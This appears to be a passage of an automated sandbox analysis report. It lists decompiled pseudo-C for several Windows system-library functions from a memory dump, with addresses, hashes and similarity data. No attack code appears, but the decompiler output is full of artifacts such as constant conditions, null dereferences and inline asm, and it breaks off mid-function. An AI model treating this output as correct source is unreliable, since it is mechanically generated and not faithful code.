				intOrPtr _t61;
				signed char _t62;
				signed int _t72;
				signed char _t85;
				signed int _t88;

				_t73 = __edx;
				_push(__ecx);
				_t85 = __ecx;
				_v8 = __edx;
				_t61 =  *((intOrPtr*)(__ecx + 0x28));
				_t57 = _a4 |  *(__ecx + 0xc) & 0x11000001;
				if(_t61 != 0 && _t61 ==  *((intOrPtr*)( *[fs:0x18] + 0x24))) {
					_t57 = _t57 | 0x00000001;
				}
				_t88 = 0;
				_t36 = 0;
				_t96 = _a12;
				if(_a12 == 0) {
					_t62 = _a8;
					__eflags = _t62;
					if(__eflags == 0) {
						goto L12;
					}
					_t52 = E0472C38B(_t85, _t73, _t57, 0);
					_t62 = _a8;
					 *_t62 = _t52;
					_t36 = 0;
					goto L11;
				} else {
					_t36 = E0472ACFD(_t85, _t73, _t96, _t57, _a8);
					if(0 == 0 || 0 == 0xffffffff) {
						_t72 = _t88;
					} else {
						_t72 =  *0x00000000 & 0x0000ffff;
					}
					 *_a12 = _t72;
					_t62 = _a8;
					L11:
					_t73 = _v8;
					L12:
					if((_t57 & 0x01000000) != 0 ||  *((intOrPtr*)(_t85 + 0x20)) == _t88) {
						L19:
						if(( *(_t85 + 0xc) & 0x10000000) == 0) {
							L22:
							_t74 = _v8;
							__eflags = _v8;
							if(__eflags != 0) {
								L25:
								__eflags = _t88 - 2;
								if(_t88 != 2) {
									__eflags = _t85 + 0x44 + (_t88 << 6);
									_t88 = E0472FDE2(_t85 + 0x44 + (_t88 << 6), _t74, _t57);
									goto L34;
								}
								L26:
								_t59 = _v8;
								E0472EA55(_t85, _v8, _t57);
								asm("sbb esi, esi");
								_t88 =  ~_t88;
								_t41 = E04687D50();
								__eflags = _t41;
								if(_t41 == 0) {
									_t42 = 0x7ffe0380;
								} else {
									_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								}
								__eflags =  *_t42;
								if( *_t42 != 0) {
									_t43 =  *[fs:0x30];
									__eflags =  *(_t43 + 0x240) & 0x00000001;
									if(( *(_t43 + 0x240) & 0x00000001) != 0) {
										__eflags = _t88;
										if(_t88 != 0) {
											E04721608(_t85, _t59, 3);
										}
									}
								}
								goto L34;
							}
							_push(_t62);
							_t47 = E04731536(0x4758ae4, (_t74 -  *0x4758b04 >> 0x14) + (_t74 -  *0x4758b04 >> 0x14), _t88, __eflags);
							__eflags = _t47;
							if(_t47 == 0) {
								goto L26;
							}
							_t74 = _v12;
							_t27 = _t47 - 1; // -1
							_t88 = _t27;
							goto L25;
						}
						_t62 = _t85;
						if(L0472C323(_t62, _v8, _t57) != 0xffffffff) {
							goto L22;
						}
						_push(_t62);
						_push(_t88);
						E0472A80D(_t85, 9, _v8, _t88);
						goto L34;
					} else {
						_t101 = _t36;
						if(_t36 != 0) {
							L16:
							if(_t36 == 0xffffffff) {
								goto L19;
							}
							_t62 =  *((intOrPtr*)(_t36 + 2));
							if((_t62 & 0x0000000f) == 0) {
								goto L19;
							}
							_t62 = _t62 & 0xf;
							if(E0470CB1E(_t62, _t85, _v8, 3, _t36 + 8) < 0) {
								L34:
								return _t88;
							}
							goto L19;
						}
						_t62 = _t85;
						_t36 = E0472ACFD(_t62, _t73, _t101, _t57, _t62);
						if(_t36 == 0) {
							goto L19;
						}
						goto L16;
					}
				}
			}

0x0472ae44
0x0472ae4c
0x0472ae53
0x0472ae55
0x0472ae5c
0x0472ae64
0x0472ae68
0x0472ae75
0x0472ae75
0x0472ae78
0x0472ae7a
0x0472ae7c
0x0472ae7f
0x0472aea8
0x0472aeab
0x0472aead
0x00000000
0x00000000
0x0472aeb3
0x0472aeb8
0x0472aebb
0x0472aebd
0x00000000
0x0472ae81
0x0472ae88
0x0472ae8f
0x0472ae9b
0x0472ae96
0x0472ae96
0x0472ae96
0x0472aea0
0x0472aea3
0x0472aebf
0x0472aebf
0x0472aec3
0x0472aec9
0x0472af0d
0x0472af14
0x0472af3d
0x0472af3d
0x0472af41
0x0472af44
0x0472af67
0x0472af67
0x0472af6a
0x0472afca
0x0472afd1
0x00000000
0x0472afd1
0x0472af6c
0x0472af6d
0x0472af75
0x0472af7c
0x0472af7e
0x0472af80
0x0472af85
0x0472af87
0x0472af99
0x0472af89
0x0472af92
0x0472af92
0x0472af9e
0x0472afa1
0x0472afa3
0x0472afa9
0x0472afb0
0x0472afb2
0x0472afb4
0x0472afbc
0x0472afbc
0x0472afb4
0x0472afb0
0x00000000
0x0472afa1
0x0472af4f
0x0472af57
0x0472af5c
0x0472af5e
0x00000000
0x00000000
0x0472af60
0x0472af64
0x0472af64
0x00000000
0x0472af64
0x0472af1a
0x0472af25
0x00000000
0x00000000
0x0472af27
0x0472af28
0x0472af33
0x00000000
0x0472aed0
0x0472aed0
0x0472aed2
0x0472aee1
0x0472aee4
0x00000000
0x00000000
0x0472aee6
0x0472aeec
0x00000000
0x00000000
0x0472aefb
0x0472af07
0x0472afd3
0x0472afdb
0x0472afdb
0x00000000
0x0472af07
0x0472aed6
0x0472aed8
0x0472aedf
0x00000000
0x00000000
0x00000000
0x0472aedf
0x0472aec9

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a461867d12bd0cd537124ce564e807fc1e5c12c866e25ab91316398996166f6
Instruction ID: ecbd4c07d8689820d50fd564c0e7dd5ca827851bb9e838e103123696f7aa7f30
Opcode Fuzzy Hash: 7a461867d12bd0cd537124ce564e807fc1e5c12c866e25ab91316398996166f6
Instruction Fuzzy Hash: 3841C4B1B007219BDB26DA25CA94B7BB39AFF84724F044619F81687390DB38F942D691

Uniqueness

Uniqueness Score: -1.00%

Function 0468DBE9, Relevance: .1, Instructions: 149
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0468DBE9(intOrPtr __ecx, intOrPtr __edx, signed int* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void* __ebx;
				void* __edi;
				signed int _t54;
				char* _t58;
				signed int _t66;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				signed int* _t75;
				intOrPtr _t79;
				intOrPtr _t80;
				char _t82;
				signed int _t83;
				signed int _t84;
				signed int _t88;
				signed int _t89;
				intOrPtr _t90;
				intOrPtr _t92;
				signed int _t97;
				intOrPtr _t98;
				intOrPtr* _t99;
				signed int* _t101;
				signed int* _t102;
				intOrPtr* _t103;
				intOrPtr _t105;
				signed int _t106;
				void* _t118;

				_t92 = __edx;
				_t75 = _a4;
				_t98 = __ecx;
				_v44 = __edx;
				_t106 = _t75[1];
				_v40 = __ecx;
				if(_t106 < 0 || _t106 <= 0 &&  *_t75 < 0) {
					_t82 = 0;
				} else {
					_t82 = 1;
				}
				_v5 = _t82;
				_t6 = _t98 + 0xc8; // 0xc9
				_t101 = _t6;
				 *((intOrPtr*)(_t98 + 0xd4)) = _a12;
				_v16 = _t92 + ((0 | _t82 != 0x00000000) - 0x00000001 & 0x00000048) + 8;
				 *((intOrPtr*)(_t98 + 0xd8)) = _a8;
				if(_t82 != 0) {
					 *(_t98 + 0xde) =  *(_t98 + 0xde) | 0x00000002;
					_t83 =  *_t75;
					_t54 = _t75[1];
					 *_t101 = _t83;
					_t84 = _t83 | _t54;
					_t101[1] = _t54;
					if(_t84 == 0) {
						_t101[1] = _t101[1] & _t84;
						 *_t101 = 1;
					}
					goto L19;
				} else {
					if(_t101 == 0) {
						E0466CC50(E04664510(0xc000000d));
						_t88 =  *_t101;
						_t97 = _t101[1];
						L15:
						_v12 = _t88;
						_t66 = _t88 -  *_t75;
						_t89 = _t97;
						asm("sbb ecx, [ebx+0x4]");
						_t118 = _t89 - _t97;
						if(_t118 <= 0 && (_t118 < 0 || _t66 < _v12)) {
							_t66 = _t66 | 0xffffffff;
							_t89 = 0x7fffffff;
						}
						 *_t101 = _t66;
						_t101[1] = _t89;
						L19:
						if(E04687D50() != 0) {
							_t58 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t58 = 0x7ffe0386;
						}
						_t102 = _v16;
						if( *_t58 != 0) {
							_t58 = E04738ED6(_t102, _t98);
						}
						_t76 = _v44;
						E04682280(_t58, _v44);
						E0468DD82(_v44, _t102, _t98);
						E0468B944(_t102, _v5);
						return E0467FFB0(_t76, _t98, _t76);
					}
					_t99 = 0x7ffe03b0;
					do {
						_t103 = 0x7ffe0010;
						do {
							_t67 =  *0x4758628; // 0x0
							_v28 = _t67;
							_t68 =  *0x475862c; // 0x0
							_v32 = _t68;
							_v24 =  *((intOrPtr*)(_t99 + 4));
							_v20 =  *_t99;
							while(1) {
								_t97 =  *0x7ffe000c;
								_t90 =  *0x7FFE0008;
								if(_t97 ==  *_t103) {
									goto L10;
								}
								asm("pause");
							}
							L10:
							_t79 = _v24;
							_t99 = 0x7ffe03b0;
							_v12 =  *0x7ffe03b0;
							_t72 =  *0x7FFE03B4;
							_t103 = 0x7ffe0010;
							_v36 = _t72;
						} while (_v20 != _v12 || _t79 != _t72);
						_t73 =  *0x4758628; // 0x0
						_t105 = _v28;
						_t80 =  *0x475862c; // 0x0
					} while (_t105 != _t73 || _v32 != _t80);
					_t98 = _v40;
					asm("sbb edx, [ebp-0x20]");
					_t88 = _t90 - _v12 - _t105;
					_t75 = _a4;
					asm("sbb edx, eax");
					_t31 = _t98 + 0xc8; // 0x472fb53
					_t101 = _t31;
					 *_t101 = _t88;
					_t101[1] = _t97;
					goto L15;
				}
			}

0x0468dbe9
0x0468dbf2
0x0468dbf7
0x0468dbf9
0x0468dbfc
0x0468dc00
0x0468dc03
0x0468dc14
0x0468dd54
0x0468dd54
0x0468dd54
0x0468dc18
0x0468dc1d
0x0468dc1d
0x0468dc32
0x0468dc3b
0x0468dc3e
0x0468dc46
0x0468dd5b
0x0468dd62
0x0468dd64
0x0468dd67
0x0468dd69
0x0468dd6b
0x0468dd6e
0x0468dd70
0x0468dd73
0x0468dd73
0x00000000
0x0468dc4c
0x0468dc4e
0x046d3ae3
0x046d3ae8
0x046d3aea
0x0468dce7
0x0468dce9
0x0468dcec
0x0468dcee
0x0468dcf0
0x0468dcf3
0x0468dcf5
0x046d3af2
0x046d3af5
0x046d3af5
0x0468dd06
0x0468dd08
0x0468dd0b
0x0468dd12
0x046d3b08
0x0468dd18
0x0468dd18
0x0468dd18
0x0468dd20
0x0468dd23
0x046d3b16
0x046d3b16
0x0468dd29
0x0468dd2d
0x0468dd36
0x0468dd40
0x0468dd51
0x0468dd51
0x0468dc54
0x0468dc59
0x0468dc59
0x0468dc5e
0x0468dc5e
0x0468dc63
0x0468dc66
0x0468dc6b
0x0468dc78
0x0468dc7b
0x0468dc81
0x0468dc81
0x0468dc83
0x0468dc89
0x00000000
0x00000000
0x0468dd7b
0x0468dd7b
0x0468dc8f
0x0468dc8f
0x0468dc92
0x0468dc99
0x0468dc9f
0x0468dca5
0x0468dcaa
0x0468dcaa
0x0468dcb3
0x0468dcb8
0x0468dcbb
0x0468dcc1
0x0468dccf
0x0468dcd2
0x0468dcd5
0x0468dcd7
0x0468dcda
0x0468dcdc
0x0468dcdc
0x0468dce2
0x0468dce4
0x00000000
0x0468dce4

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f564ced9dabaec22e54f6f2509b900938b1acb3815b29746a04b0ba35c76e41c
Instruction ID: 99255dbe7a7c086663110c54b2c8c90112dd4d986683a38e4f1ba21eabdbdb64
Opcode Fuzzy Hash: f564ced9dabaec22e54f6f2509b900938b1acb3815b29746a04b0ba35c76e41c
Instruction Fuzzy Hash: 5751ADB1A00205CFCB14EF68C480A9EBBF5FB58310F24865ED955A7380EB70BD44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0467EF40, Relevance: .1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E0467EF40(intOrPtr __ecx) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t58;
				char _t59;
				signed char _t69;
				void* _t73;
				signed int _t74;
				char _t79;
				signed char _t81;
				signed int _t85;
				signed int _t87;
				intOrPtr _t90;
				signed char* _t91;
				void* _t92;
				signed int _t94;
				void* _t96;

				_t90 = __ecx;
				_v16 = __ecx;
				if(( *(__ecx + 0x14) & 0x04000000) != 0) {
					_t58 =  *((intOrPtr*)(__ecx));
					if(_t58 != 0xffffffff &&  *((intOrPtr*)(_t58 + 8)) == 0) {
						E04669080(_t73, __ecx, __ecx, _t92);
					}
				}
				_t74 = 0;
				_t96 =  *0x7ffe036a - 1;
				_v12 = 0;
				_v7 = 0;
				if(_t96 > 0) {
					_t74 =  *(_t90 + 0x14) & 0x00ffffff;
					_v12 = _t74;
					_v7 = _t96 != 0;
				}
				_t79 = 0;
				_v8 = 0;
				_v5 = 0;
				while(1) {
					L4:
					_t59 = 1;
					L5:
					while(1) {
						if(_t59 == 0) {
							L12:
							_t21 = _t90 + 4; // 0x779cc21e
							_t87 =  *_t21;
							_v6 = 0;
							if(_t79 != 0) {
								if((_t87 & 0x00000002) != 0) {
									goto L19;
								}
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000003;
								} else {
									_t51 = _t87 - 2; // -2
									_t74 = _t51;
								}
								goto L15;
							} else {
								if((_t87 & 0x00000001) != 0) {
									_v6 = 1;
									_t74 = _t87 ^ 0x00000001;
								} else {
									_t26 = _t87 - 4; // -4
									_t74 = _t26;
									if((_t74 & 0x00000002) == 0) {
										_t74 = _t74 - 2;
									}
								}
								L15:
								if(_t74 == _t87) {
									L19:
									E04662D8A(_t74, _t90, _t87, _t90);
									_t74 = _v12;
									_v8 = 1;
									if(_v7 != 0 && _t74 > 0x64) {
										_t74 = _t74 - 1;
										_v12 = _t74;
									}
									_t79 = _v5;
									goto L4;
								}
								asm("lock cmpxchg [esi], ecx");
								if(_t87 != _t87) {
									_t74 = _v12;
									_t59 = 0;
									_t79 = _v5;
									continue;
								}
								if(_v6 != 0) {
									_t74 = _v12;
									L25:
									if(_v7 != 0) {
										if(_t74 < 0x7d0) {
											if(_v8 == 0) {
												_t74 = _t74 + 1;
											}
										}
										_t38 = _t90 + 0x14; // 0x0
										_t39 = _t90 + 0x14; // 0x0
										_t85 = ( *_t38 ^ _t74) & 0x00ffffff ^  *_t39;
										if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
											_t85 = _t85 & 0xff000000;
										}
										 *(_t90 + 0x14) = _t85;
									}
									 *((intOrPtr*)(_t90 + 0xc)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
									 *((intOrPtr*)(_t90 + 8)) = 1;
									return 0;
								}
								_v5 = 1;
								_t87 = _t74;
								goto L19;
							}
						}
						_t94 = _t74;
						_v20 = 1 + (0 | _t79 != 0x00000000) * 2;
						if(_t74 == 0) {
							goto L12;
						} else {
							_t91 = _t90 + 4;
							goto L8;
							L9:
							while((_t81 & 0x00000001) != 0) {
								_t69 = _t81;
								asm("lock cmpxchg [edi], edx");
								if(_t69 != _t81) {
									_t81 = _t69;
									continue;
								}
								_t90 = _v16;
								goto L25;
							}
							asm("pause");
							_t94 = _t94 - 1;
							if(_t94 != 0) {
								L8:
								_t81 =  *_t91;
								goto L9;
							} else {
								_t90 = _v16;
								_t79 = _v5;
								goto L12;
							}
						}
					}
				}
			}

0x0467ef4b
0x0467ef4d
0x0467ef57
0x0467f0bd
0x0467f0c2
0x0467f0d2
0x0467f0d2
0x0467f0c2
0x0467ef5d
0x0467ef5f
0x0467ef67
0x0467ef6a
0x0467ef6d
0x0467ef74
0x0467ef7f
0x0467ef82
0x0467ef82
0x0467ef86
0x0467ef88
0x0467ef8c
0x0467ef8f
0x0467ef8f
0x0467ef8f
0x00000000
0x0467ef91
0x0467ef93
0x0467efc4
0x0467efc4
0x0467efc4
0x0467efca
0x0467efd0
0x0467f0a6
0x00000000
0x00000000
0x0467f0af
0x046cbb06
0x046cbb0a
0x0467f0b5
0x0467f0b5
0x0467f0b5
0x0467f0b5
0x00000000
0x0467efd6
0x0467efd9
0x0467f0de
0x0467f0e2
0x0467efdf
0x0467efdf
0x0467efdf
0x0467efe5
0x046cbafc
0x046cbafc
0x0467efe5
0x0467efeb
0x0467efed
0x0467f00f
0x0467f011
0x0467f01a
0x0467f01d
0x0467f021
0x0467f028
0x0467f029
0x0467f029
0x0467f02c
0x00000000
0x0467f02c
0x0467eff3
0x0467eff9
0x0467f0ea
0x0467f0ed
0x0467f0ef
0x00000000
0x0467f0ef
0x0467f003
0x046cbb12
0x0467f045
0x0467f049
0x0467f051
0x0467f09e
0x0467f0a0
0x0467f0a0
0x0467f09e
0x0467f053
0x0467f064
0x0467f064
0x0467f06b
0x046cbb1a
0x046cbb1a
0x0467f071
0x0467f071
0x0467f07d
0x0467f082
0x0467f08f
0x0467f08f
0x0467f009
0x0467f00d
0x00000000
0x0467f00d
0x0467efd0
0x0467ef97
0x0467efa5
0x0467efaa
0x00000000
0x0467efac
0x0467efac
0x0467efac
0x00000000
0x0467efb2
0x0467f036
0x0467f03a
0x0467f040
0x0467f090
0x00000000
0x0467f092
0x0467f042
0x00000000
0x0467f042
0x0467efb7
0x0467efb9
0x0467efbc
0x0467efb0
0x0467efb0
0x00000000
0x0467efbe
0x0467efbe
0x0467efc1
0x00000000
0x0467efc1
0x0467efbc
0x0467efaa
0x0467ef91

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction ID: 6731f5147a0928d18c1641054d463c603c0a7b47d650f312999bb2cd3c0b9e48
Opcode Fuzzy Hash: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
Instruction Fuzzy Hash: A7512330E04249EFDB28CF68C0E0BAEBBB1AF15314F1881A8C55597381F37AB989D751

Uniqueness

Uniqueness Score: -1.00%

Function 0473740D, Relevance: .1, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0473740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				signed int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_t80 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E046BD4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E046AF380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = L04684620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = L04684620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					E046AF3E0(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = L04684620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}

0x0473740d
0x0473740d
0x04737412
0x04737413
0x04737416
0x04737418
0x0473741c
0x0473741f
0x04737422
0x04737422
0x04737428
0x0473742a
0x0473742a
0x04737451
0x04737432
0x0473744f
0x0473744f
0x00000000
0x04737434
0x04737438
0x04737443
0x04737517
0x04737517
0x0473751a
0x04737535
0x04737520
0x04737527
0x0473752c
0x04737531
0x04737533
0x00000000
0x04737533
0x00000000
0x04737531
0x0473754b
0x0473754f
0x0473755c
0x0473755c
0x0473755f
0x04737560
0x04737561
0x04737562
0x04737563
0x04737568
0x0473756a
0x0473756c
0x0473756d
0x0473756d
0x0473756f
0x04737572
0x04737574
0x04737577
0x0473757c
0x0473757f
0x00000000
0x04737551
0x04737551
0x04737551
0x04737553
0x04737553
0x04737449
0x04737449
0x0473744c
0x0473744c
0x00000000
0x0473744c
0x04737443
0x0473750e
0x04737514
0x04737514
0x04737455
0x04737469
0x0473746d
0x00000000
0x04737473
0x04737473
0x04737476
0x04737480
0x04737484
0x0473748e
0x04737493
0x04737493
0x04737496
0x04737499
0x047374a1
0x047374b1
0x047374b5
0x00000000
0x047374bb
0x047374c1
0x047374c1
0x047374c4
0x047374c5
0x047374c6
0x047374c7
0x047374c8
0x047374cd
0x00000000
0x047374d3
0x047374d3
0x047374d6
0x047374d8
0x047374db
0x047374dd
0x047374e0
0x047374e7
0x047374ee
0x047374ee
0x047374f4
0x047374f9
0x00000000
0x047374fb
0x047374fb
0x047374fd
0x04737500
0x04737503
0x04737505
0x04737505
0x047374f9
0x00000000
0x047374cd
0x047374b5
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction ID: d22e14d7d3b983625ba6c607dde236d9a9a0360c0bfc7dd8b5769ce02088c48c
Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
Instruction Fuzzy Hash: 70516AB1600606EFDB19CF14C480A96BBB5FF45305F15C1AAE9089F212E771F986CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04692990, Relevance: .1, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E04692990() {
				signed int* _t62;
				signed int _t64;
				intOrPtr _t66;
				signed short* _t69;
				intOrPtr _t76;
				signed short* _t79;
				void* _t81;
				signed int _t82;
				signed short* _t83;
				signed int _t87;
				intOrPtr _t91;
				void* _t98;
				signed int _t99;
				void* _t101;
				signed int* _t102;
				void* _t103;
				void* _t104;
				void* _t107;

				_push(0x20);
				_push(0x473ff00);
				E046BD08C(_t81, _t98, _t101);
				 *((intOrPtr*)(_t103 - 0x28)) =  *[fs:0x18];
				_t99 = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x1c)))) = 0;
				_t82 =  *((intOrPtr*)(_t103 + 0x10));
				if(_t82 == 0) {
					_t62 = 0xc0000100;
				} else {
					 *((intOrPtr*)(_t103 - 4)) = 0;
					_t102 = 0xc0000100;
					 *((intOrPtr*)(_t103 - 0x30)) = 0xc0000100;
					_t64 = 4;
					while(1) {
						 *(_t103 - 0x24) = _t64;
						if(_t64 == 0) {
							break;
						}
						_t87 = _t64 * 0xc;
						 *(_t103 - 0x2c) = _t87;
						_t107 = _t82 -  *((intOrPtr*)(_t87 + 0x4641664));
						if(_t107 <= 0) {
							if(_t107 == 0) {
								_t79 = E046AE5C0( *((intOrPtr*)(_t103 + 0xc)),  *((intOrPtr*)(_t87 + 0x4641668)), _t82);
								_t104 = _t104 + 0xc;
								__eflags = _t79;
								if(__eflags == 0) {
									_t102 = E046E51BE(_t82,  *((intOrPtr*)( *(_t103 - 0x2c) + 0x464166c)),  *((intOrPtr*)(_t103 + 0x14)), _t99, _t102, __eflags,  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
									 *((intOrPtr*)(_t103 - 0x30)) = _t102;
									break;
								} else {
									_t64 =  *(_t103 - 0x24);
									goto L5;
								}
								goto L13;
							} else {
								L5:
								_t64 = _t64 - 1;
								continue;
							}
						}
						break;
					}
					 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
					__eflags = _t102;
					if(_t102 < 0) {
						__eflags = _t102 - 0xc0000100;
						if(_t102 == 0xc0000100) {
							_t83 =  *((intOrPtr*)(_t103 + 8));
							__eflags = _t83;
							if(_t83 != 0) {
								 *((intOrPtr*)(_t103 - 0x20)) = _t83;
								__eflags =  *_t83 - _t99;
								if( *_t83 == _t99) {
									_t102 = 0xc0000100;
									goto L19;
								} else {
									_t91 =  *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30));
									_t66 =  *((intOrPtr*)(_t91 + 0x10));
									__eflags =  *((intOrPtr*)(_t66 + 0x48)) - _t83;
									if( *((intOrPtr*)(_t66 + 0x48)) == _t83) {
										__eflags =  *((intOrPtr*)(_t91 + 0x1c));
										if( *((intOrPtr*)(_t91 + 0x1c)) == 0) {
											L26:
											_t102 = E04692AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
											 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
											__eflags = _t102 - 0xc0000100;
											if(_t102 != 0xc0000100) {
												goto L12;
											} else {
												_t99 = 1;
												_t83 =  *((intOrPtr*)(_t103 - 0x20));
												goto L18;
											}
										} else {
											_t69 = E04676600( *((intOrPtr*)(_t91 + 0x1c)));
											__eflags = _t69;
											if(_t69 != 0) {
												goto L26;
											} else {
												_t83 =  *((intOrPtr*)(_t103 + 8));
												goto L18;
											}
										}
									} else {
										L18:
										_t102 = E04692C50(_t83,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)), _t99);
										L19:
										 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
										goto L12;
									}
								}
								L28:
							} else {
								E0467EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
								 *((intOrPtr*)(_t103 - 4)) = 1;
